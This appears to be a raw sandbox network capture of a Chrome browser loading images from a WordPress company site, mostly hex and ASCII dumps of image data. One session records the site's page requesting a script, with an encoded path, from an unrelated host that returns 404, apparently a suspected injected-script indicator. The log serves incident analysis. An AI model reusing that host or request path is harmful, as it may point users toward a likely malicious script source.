2024-10-07 12:10:14 UTC	1645	IN	Data Raw: 43 31 77 79 73 fd c0 81 03 2f 7c f0 c1 07 5b 05 0b 49 af b3 43 42 f4 4c 4a 56 58 79 60 bd b3 fd 0b d0 a6 0c 1d 3a f4 a9 b4 b4 b4 7f 04 ab b2 ac 70 91 89 f9 9f bd 7b f7 fe e7 93 4f 3e 39 2c 81 d0 68 cf bf 76 48 ae dd 3b e0 1c 2b e8 a5 a7 a7 bf 1c e8 35 aa 2b 17 b0 c1 e5 cc cf 13 97 e2 70 05 09 28 da 73 fb 28 26 97 57 34 52 53 ac 3e ce 45 7b dd dc b5 d5 68 6c ae 64 02 35 51 61 e5 0b bf 53 c3 2c 4e 21 85 bd fc de 7b ef fd bf 46 aa 65 52 6d 3f 3e 7d fa f4 c2 d7 5f 7f fd 23 45 7b 82 6a 33 dd f8 64 b0 7a 2a 9c 91 23 47 4e c7 3c 53 81 04 68 c6 8f 1f cf 96 8d 74 2b fe 83 ca 83 6a ae 51 55 74 a0 0a 6a 7a 28 f9 06 d7 a2 a8 a8 68 9c 30 58 9c 57 53 ad 91 33 09 1b f1 4d 46 58 45 60 35 55 76 c0 80 01 77 35 6f de fc 15 f2 0d db 84 e1 9c 95 04 6e ee c5 8b 17 73 a7 4d 9b Data Ascii: C1wys/\|[ICBLJVXy`:p{O>9,hvH;+5+p(s(&W4RS>E{hld5QaS,N!{FeRm?>}_#E{j3dz*#GN<Sht+jQUtjz(h0XWS3MFXE`5Uvw5onsM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49755	185.76.79.50	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:14 UTC	572	OUT	GET /SzlpnTAbCvQvG1OvfQpFvzkbU78xQAX7O1sfvzY= HTTP/1.1 Host: virtual.urban-orthodontics.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:16 UTC	165	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 07 Oct 2024 12:10:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-07 12:10:16 UTC	209	IN	Data Raw: 63 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: cb<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
2024-10-07 12:10:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49759	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:14 UTC	648	OUT	GET /2016/wp-content/themes/twb_2016/assets/images/logos/iso-ts16949.png HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:14 UTC	233	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:14 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:59:05 GMT Accept-Ranges: bytes Content-Length: 34669 Content-Type: image/png
2024-10-07 12:10:14 UTC	7959	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 e8 00 00 00 f0 08 06 00 00 00 0a 2c 28 8e 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 16 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 Data Ascii: PNGIHDR,(tEXtSoftwareAdobe ImageReadyqe<iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42
2024-10-07 12:10:14 UTC	8000	IN	Data Raw: f9 11 63 20 b7 49 52 8e 43 24 29 35 32 e3 e0 ee b9 80 73 cc d0 b1 d7 98 c5 fa e9 26 12 96 b5 34 a1 5b 25 29 4e 66 d0 d7 08 9a 63 24 69 c5 fe 64 82 8a e2 14 6a 27 ee 43 97 56 fe 00 03 53 09 bc af 16 f0 90 8d 80 b7 eb e4 45 eb ce ab d5 03 2c 73 5d d2 ad 29 72 ce 93 7b 8f ee 0d 02 c7 c1 4c 3c fd 1c cb 16 c7 61 5c ee 05 34 74 b5 a4 5b 09 da 16 40 db 04 7f 1a e6 70 2d a1 92 2a 09 7d 99 8c d7 1a 22 01 ad 1e 95 ce dd 8f dc 78 b0 f1 9d 03 61 f4 48 9a 3f 5b 86 db 00 43 b2 16 31 e8 24 d6 51 77 3a 66 98 d9 f8 21 f0 23 eb 03 3a 53 df 17 14 b4 44 30 94 63 52 8d 9f ee 4f 50 96 b3 4f b8 cc e5 e7 31 e9 b1 24 fb 0b 47 30 c0 63 78 9d 97 29 9e ef d6 e3 58 21 32 58 2f 7b 01 ae 31 41 82 e4 63 e6 31 f2 a0 63 10 a2 6b 70 7f 0f 41 2c 3a eb 94 46 88 5c 51 e1 d5 6a 09 5a 3e f3 48 Data Ascii: c IRC$)52s&4[%)Nfc$idj'CVSE,s])r{L<a\4t[@p-*}"xaH?[C1$Qw:f!#:SD0cROPO1$G0cx)X!2X/{1Ac1ckpA,:F\QjZ>H
2024-10-07 12:10:14 UTC	8000	IN	Data Raw: 80 45 cc 50 7c 64 42 af c2 74 2d 84 9e 17 ae b3 ee 79 7a 19 e3 e6 69 bc ef 89 f8 49 95 ea bf a4 d5 27 74 2b ce aa 9b 9b 9c 53 ce 88 94 33 27 c9 f2 82 55 ac cf 92 a0 f6 aa ae 92 ad b3 7e 53 da b7 e4 45 60 53 7f d1 3c ff a3 79 9e 45 46 2f 27 fd 29 1b c3 cb 3b 79 10 69 a3 80 af 21 d8 ed 37 ab 2f 75 98 67 ca 99 a5 b8 d6 be fb 71 0b 7d 38 72 02 30 42 f1 46 59 92 f6 f0 f3 9d 91 b4 57 0d c8 48 ff 6a ba 70 bf 13 4f ec 30 cc 32 81 ff 1b 41 4b 66 70 33 4b 74 bf 3e 75 d0 bc da ad 01 0d 2f 97 56 4e ef c7 9a e7 63 a4 95 10 c0 10 39 a2 38 94 b3 63 0c f5 7c 01 f1 a0 1f ff 5e c6 80 55 82 b4 c3 8e e8 9a c0 6b ba 16 fc 1b 1a eb b8 4f 06 7a be aa 11 91 b4 af 6d 67 3a cc cd 52 1a 90 9c b4 f7 fa f9 f7 2e d0 69 aa 2f a2 79 18 83 b7 5b a5 bb c5 da 7a 07 eb d4 cf 8a 01 99 c0 bd Data Ascii: EP\|dBt-yziI't+S3'U~SE`S<yEF/');yi!7/ugq}8r0BFYWHjpO02AKfp3Kt>u/VNc98c\|^UkOzmg:R.i/y[z
2024-10-07 12:10:14 UTC	8000	IN	Data Raw: d2 5e 9c 8b 63 c9 55 60 1f bf 2a e9 75 42 63 67 d5 33 ea a2 f6 0e 49 92 e8 fd 0e 98 1a 11 14 fa d9 d7 01 aa dd 0e d7 b3 54 b2 11 8a 73 e7 3a 30 c7 ac a8 a7 62 79 e3 21 8e 75 e5 f8 9c e1 b2 67 a5 05 df 63 55 2c 4a e4 35 79 4d 78 06 e1 c2 0f 21 d8 9c a5 55 77 cb 16 79 28 cd 23 30 0f 4c b4 e8 46 67 cd b4 7a b5 b4 6f 2c e0 a4 0b ae 20 31 0d 38 6d fb 30 d7 90 27 bf 15 42 98 27 4b 52 6a b3 53 85 07 4b be ff 58 f3 7c 24 7d 57 99 42 24 5e ef 1c 5f 06 b2 bf ec db db 0b 28 7c 2b ad f8 3c 4c f6 ac a4 d7 44 39 46 cd 10 14 e6 f2 9e 0f 81 e0 9d 23 e9 be a5 02 2f 6b 0d a0 6c 57 3d 43 e8 2c 09 8e 09 b3 be ff a7 10 fa 03 09 96 8f c2 db df 87 62 3b cb 36 e2 da ae b6 8c a4 b0 5b 37 50 bf 93 14 74 ad 8b cf b9 a6 ae 2f c7 b9 42 92 44 fc 29 52 52 eb cc 36 02 ef f4 69 78 28 fe Data Ascii: ^cU`*uBcg3ITs:0by!ugcU,J5yMx!Uwy(#0LFgzo, 18m0'B'KRjSKX\|$}WB$^_(\|+<LD9F#/klW=C,b;6[7Pt/BD)RR6ix(
2024-10-07 12:10:14 UTC	2710	IN	Data Raw: 89 a0 b8 65 e6 bb 49 18 e8 67 de 88 73 aa d9 f8 0c 88 bf 41 e7 b9 98 c2 1e b3 12 1a bf 4d 11 4a 6d c7 14 fe b7 92 cc d6 19 b2 74 b8 93 a0 0f 2f b5 88 21 87 48 0b 5b 77 4a 6b f3 32 28 21 91 80 41 22 2b c0 b6 b6 9d cf 90 65 a6 65 62 bb f1 f7 76 20 b4 76 2f 93 d0 8c 15 12 88 c3 12 5a f2 98 e0 98 84 45 73 dc 74 c9 a5 c0 a0 e6 ff b4 a4 7b 7b 15 6f ef 73 d1 78 8b 4c 95 32 ad db 4a 9c 3e 03 c2 31 b0 c4 c0 0f cd ce f9 7e 1f ac df ea 1e 37 00 88 68 3a 3f 4b f3 73 ef 76 a6 68 49 e2 b1 04 d3 74 1e 0b 7b d4 89 a1 0d fa af 12 93 14 c8 bf 3f e8 18 c7 34 76 96 f6 77 12 60 95 90 19 d7 90 38 de 77 11 81 36 03 84 40 9b 2f 36 ee d6 fd aa 45 00 89 ad 84 d7 da 65 e1 e3 12 27 1c a8 d0 fd 52 17 e6 e0 4e f0 b6 e6 09 67 c9 18 5d 65 01 f4 3c 29 c9 fd ab d6 e3 bd 8b 48 88 cd 40 28 Data Ascii: eIgsAMJmt/!H[wJk2(!A"+eebv v/ZEst{{osxL2J>1~7h:?KsvhIt{?4vw`8w6@/6Ee'RNg]e<)H@(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49765	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:15 UTC	417	OUT	GET /2016/wp-content/themes/twb_2016/assets/images/sprites-ico-footer-arrows.png HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:15 UTC	232	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:15 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:57:01 GMT Accept-Ranges: bytes Content-Length: 4132 Content-Type: image/png
2024-10-07 12:10:15 UTC	4132	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 16 00 00 01 90 08 06 00 00 00 aa 2a 90 4a 00 00 0a 43 69 43 43 50 49 43 43 20 70 72 6f 66 69 6c 65 00 00 78 da 9d 53 77 58 93 f7 16 3e df f7 65 0f 56 42 d8 f0 b1 97 6c 81 00 22 23 ac 08 c8 10 59 a2 10 92 00 61 84 10 12 40 c5 85 88 0a 56 14 15 11 9c 48 55 c4 82 d5 0a 48 9d 88 e2 a0 28 b8 67 41 8a 88 5a 8b 55 5c 38 ee 1f dc a7 b5 7d 7a ef ed ed fb d7 fb bc e7 9c e7 fc ce 79 cf 0f 80 11 12 26 91 e6 a2 6a 00 39 52 85 3c 3a d8 1f 8f 4f 48 c4 c9 bd 80 02 15 48 e0 04 20 10 e6 cb c2 67 05 c5 00 00 f0 03 79 78 7e 74 b0 3f fc 01 af 6f 00 02 00 70 d5 2e 24 12 c7 e1 ff 83 ba 50 26 57 00 20 91 00 e0 22 12 e7 0b 01 90 52 00 c8 2e 54 c8 14 00 c8 18 00 b0 53 b3 64 0a 00 94 00 00 6c 79 7c 42 22 00 aa 0d 00 ec f4 49 Data Ascii: PNGIHDR*JCiCCPICC profilexSwX>eVBl"#Ya@VHUH(gAZU\8}zy&j9R<:OHH gyx~t?op.$P&W "R.TSdly\|B"I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49767	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:15 UTC	387	OUT	GET /2016/wp-content/uploads/2015/08/twb-thumb.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:15 UTC	234	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:15 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:53:16 GMT Accept-Ranges: bytes Content-Length: 41140 Content-Type: image/jpeg
2024-10-07 12:10:15 UTC	7958	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 32 00 00 ff e1 03 81 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*Ducky2http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xm
2024-10-07 12:10:15 UTC	8000	IN	Data Raw: dd e5 e3 64 2a cc cb 58 85 f8 fe 91 da 69 74 71 e6 75 29 82 8b b7 77 e5 51 46 e5 e1 99 33 4c 67 5d a4 28 15 a5 c2 c2 87 07 1c 20 1e 6b 5d cf 7d 22 ab bd 9c e1 22 8e f5 eb aa 85 2d 83 60 60 8c 3c 75 8d ce e3 c4 9a 2d a4 08 38 57 24 97 52 69 4e 6e 73 c6 4c 71 fc e4 6a dd 83 bb be aa da aa f6 24 93 b3 f7 0b c8 c9 54 36 92 45 53 fa 79 fc 2a fc 47 f5 23 de 0d f5 e3 48 b1 31 25 c9 6d ed 71 1d fc cc 79 d3 f8 11 20 85 63 41 a1 d6 c6 96 8d bc b5 08 37 49 28 4e 58 48 3c 2a 6a 57 8b 72 a1 da 4d ab 7f 75 0b 36 42 c6 2f 34 9b 2f c1 7f 37 ba a8 ed 02 2a c8 e0 49 1b a1 50 7d b4 ba 4e 9d 1c d7 12 00 57 95 f8 d0 d8 99 2b 2c bb 63 62 7c 45 a9 90 26 dc 4f 7d 6a b9 c9 9a 81 1f 53 e9 98 38 78 92 4f 39 0d 02 db 74 6c 03 5e e6 c0 0a cf 8e 97 8d b8 e4 74 3c a6 c4 97 f3 46 09 28 Data Ascii: dXitqu)wQF3Lg]( k]}""-``<u-8W$RiNnsLqj$T6ESyG#H1%mqy cA7I(NXH<jWrMu6B/4/7IP}NW+,cb\|E&O}jS8xO9tl^t<F(
2024-10-07 12:10:15 UTC	8000	IN	Data Raw: e7 4c 10 b8 f0 90 f9 3f a4 f9 ac 3f 53 f7 d0 f2 4e d8 dd 2e 0c 9c 34 55 95 dd a3 9e 62 37 38 61 c3 6d f8 5e 81 c6 56 50 64 72 4c 8f a9 27 8e b5 95 ad ab 6d b6 a6 7d 03 0b 65 09 0d 30 df d6 2c ed a5 b5 99 7b 3f 8d 7b bb 7b 29 c4 72 fa 5f 27 cb f7 56 59 e5 92 27 0f 1b 6d 75 3e 52 39 53 7c 4c c5 96 07 65 16 65 17 92 21 f9 47 eb 4f e1 ed 1c a9 e9 65 a6 e2 5a af 50 dc a3 1e 74 66 29 06 e8 8f e5 e6 0f ea 1d f4 9a 5e 91 36 08 59 1c 6f 85 bf d3 94 0d 3c 0f 61 a6 d8 88 59 83 8f 93 8d f9 1a d1 e3 bc 72 47 e9 a9 da 0f e5 a6 5d 7c f2 f0 2d af c7 0b 26 34 e4 12 23 00 82 c4 9b fb 8d 6a 30 25 3f b5 c7 01 c1 3b 45 c5 2a eb 8c 03 79 23 59 12 fb 4e d5 0b 6e f3 6f ba 9d f4 4e 96 ab d2 f1 b2 64 6f 3b 8f 2a f6 00 48 d6 91 55 ab b4 b3 03 36 b8 26 f1 21 82 f5 6a 46 5b 8f 0a 98 Data Ascii: L??SN.4Ub78am^VPdrL'm}e0,{?{{)r_'VY'mu>R9S\|Lee!GOeZPtf)^6Yo<aYrG]\|-&4#j0%?;Ey#YNnoNdo;HU6&!jF[
2024-10-07 12:10:15 UTC	8000	IN	Data Raw: 3a ff 00 58 18 38 e6 d6 67 93 48 d0 7e 63 f8 0e 75 1b d9 2c bd 8a 56 ad b8 5b 82 7d 43 f5 12 e3 29 82 23 72 74 50 34 2d e3 d8 2b 0d 34 e7 2a 43 36 5c b7 3c 90 6a 00 ec 14 74 7d 13 ac f5 89 0e 4a 26 e5 93 5f 59 d8 2a 9d 6d 61 c4 e9 dc 2b 43 d3 be 84 8a 30 24 cf 9c b4 83 53 1c 62 ca 3d ac 09 3e ea e6 6a f7 73 18 3a 57 0e b5 13 93 28 91 2c 89 fd 38 cd b9 33 69 7f 60 ae 1c 09 e5 6d 91 ad d8 fe 54 17 35 f4 b8 3a 07 4a 82 df d0 0e 7f 54 84 b0 f6 83 a7 c2 98 c1 14 70 d8 45 1a a2 db e5 45 0a 3e 14 cb a3 cb f8 03 ee f0 8f 99 7f e9 9e b1 e8 7a 91 63 ba 58 5c bb 9d 9a 7f 88 83 5e 4e 9d 9b d3 d1 5b 2e 55 90 49 e5 58 c1 2d 6b 71 d4 8a fa a1 01 d4 a9 17 04 58 83 c2 94 66 7d 29 36 70 12 63 32 9f 4c b6 c5 70 48 b3 0e 06 dd 94 cf a6 3f 1c 81 77 ff 00 db 06 11 e3 04 76 83 Data Ascii: :X8gH~cu,V[}C)#rtP4-+4C6\<jt}J&_Yma+C0$Sb=>js:W(,83i`mT5:JTpEE>zcX\^N[.UIX-kqXf})6pc2LpH?wv
2024-10-07 12:10:15 UTC	8000	IN	Data Raw: ca c1 51 78 9e 26 dd d4 2a 3b cc 82 45 0c 4d 89 55 92 ea 6f d8 41 d6 86 cc 94 b3 84 4d 15 34 20 73 3c ef 51 75 dd 94 5e 02 b3 7a 8c 92 79 61 fe 9c 5c 15 47 12 a3 b4 f7 9a bf 0f a7 65 88 3f ea 13 13 1a de d0 a9 b9 67 6f e5 ec 15 5f 4b c6 d0 64 4c bb bf e5 29 d4 7f 37 e1 4e 24 ca 95 95 50 93 b1 78 2f 2f 65 56 bd 4e d5 96 c4 b5 d5 5c 55 7b 99 4e bf 0e 5c 71 6f 91 da 46 63 e6 66 e2 49 ee ac ca 74 fc a9 48 2a a5 58 6a 18 f9 6d 5f 42 ce 55 97 19 d4 fc e4 68 79 f1 f8 d2 09 57 6b 59 f4 ec 35 1b f4 25 69 6d 94 a7 6b e3 a1 4c 7b d5 14 4a c1 9c 0b 31 02 ba f2 c5 18 f3 b8 5e 7a 9a f4 8a 76 95 07 69 3c 08 a5 f2 43 b4 92 56 fa db 70 e1 4c db 4b 06 49 3d 4b db a9 c2 87 c9 b9 88 e1 6d 29 cf 4b ea 09 9b 0b 45 28 f2 9e 44 f2 ac d1 44 f0 a7 1d 23 01 cc b1 c9 15 b6 1b b6 bc Data Ascii: Qx&;EMUoAM4 s<Qu^zya\Ge?go_KdL)7N$Px//eVN\U{N\qoFcfItHXjm_BUhyWkY5%imkL{J1^zvi<CVpLKI=Km)KE(DD#
2024-10-07 12:10:15 UTC	1182	IN	Data Raw: b9 e4 7c 68 be ab 34 38 f2 a3 46 41 07 43 b7 ba 80 93 d5 dd e6 e1 7e 5c 2a ec df 4b 6b 7a 9f 2d b5 ad 9d 91 b1 bb 0b e9 79 38 39 0e fe a1 2b 37 2b 73 a3 82 c7 89 d4 e0 53 2a 49 14 eb b2 42 bf 2a 9b e8 c4 f7 5f 5a c6 2e ef 54 7a 3b af 7f 2d b8 d3 4f fc e6 d8 f7 de db bf a7 7d b7 bf f8 68 4e 72 91 a3 18 6c dc 97 80 31 1b a4 9d b8 15 8c 69 a7 2b d7 77 4d a0 48 d2 0e f7 3b db ef aa c7 af 68 3d 4f d1 fd 6b 70 df 61 f2 ed d2 dc 68 4c af fa cf ff 00 67 e8 ed fc bb 7e 7f ff 00 72 a9 9d e7 e8 4f fe 64 62 b8 e6 63 ba 69 64 95 46 bc 36 20 f1 3a d2 ec ee ab d3 e3 26 38 9a 38 d1 74 f2 dd dc db 99 e3 59 ee a3 ff 00 5a f4 db f7 3e ae de 7b ef b7 f0 a5 11 6c f5 07 ee fd 4f 4b 9f a5 6d df ef 69 4a db 8c 24 bd f5 19 25 39 7e d1 a1 a1 9b ea 08 17 e4 56 92 dc 0b 1d a3 dc 2f Data Ascii: \|h48FAC~\Kkz-y89+7+sSIB*_Z.Tz;-O}hNrl1i+wMH;h=OkpahLg~rOdbcidF6 :&88tYZ>{lOKmiJ$%9~V/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49766	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:15 UTC	387	OUT	GET /2016/wp-content/uploads/2015/09/twc-thumb.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:15 UTC	234	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:15 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:54:08 GMT Accept-Ranges: bytes Content-Length: 30674 Content-Type: image/jpeg
2024-10-07 12:10:15 UTC	7958	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 32 00 00 ff e1 03 81 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*Ducky2http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xm
2024-10-07 12:10:15 UTC	8000	IN	Data Raw: 82 83 41 a0 56 a7 8a 96 ef e4 46 fe 5b fe 95 f3 2b f1 b1 46 3b 2f e6 79 d4 fd 81 18 a6 08 b5 d0 cb 41 3a 2d 74 4a aa 2a a1 19 2c ed 67 36 72 c1 55 0e 76 7a d1 fa 6f 71 23 f0 d4 93 4e e4 7d 83 92 d1 8d 16 ab 6f b9 48 13 75 d9 c0 96 36 1c 38 b5 2c 24 b8 f1 3f 72 39 77 35 33 19 51 31 15 4a b4 b4 5a 09 69 7b ea 47 72 cd e5 4f d3 a0 51 d9 cd 56 b9 09 ba 82 7c a6 aa 6c 91 0a 50 d0 7e 2a 2d 91 8d 5a 31 e7 41 fc 7a 16 0c 7a 93 a5 a0 a7 04 ab 67 66 aa 32 e4 34 0d 56 95 99 44 88 f1 92 9b 20 0e 0a be 7c 92 6b 4d 54 26 c9 0e ad 12 ae 94 12 a7 6f 21 f4 1e b8 56 ef e4 69 ee 73 b8 14 2f 35 2f 6a fd 8a 4e 94 77 21 ba 42 42 8d b3 be ac aa c6 61 a8 d7 54 37 17 0a d1 61 92 bd ca 05 e4 f1 52 79 ed ec 37 15 d8 ca b8 9b ad 10 6b 55 b0 4d aa 42 df 62 95 b2 b6 f5 63 2a a8 07 b7 Data Ascii: AVF[+F;/yA:-tJ,g6rUvzoq#N}oHu68,$?r9w53Q1JZi{GrOQV\|lP~-Z1Azzgf24VD \|kMT&o!Vis/5/jNw!BBaT7aRy7kUMBbc*
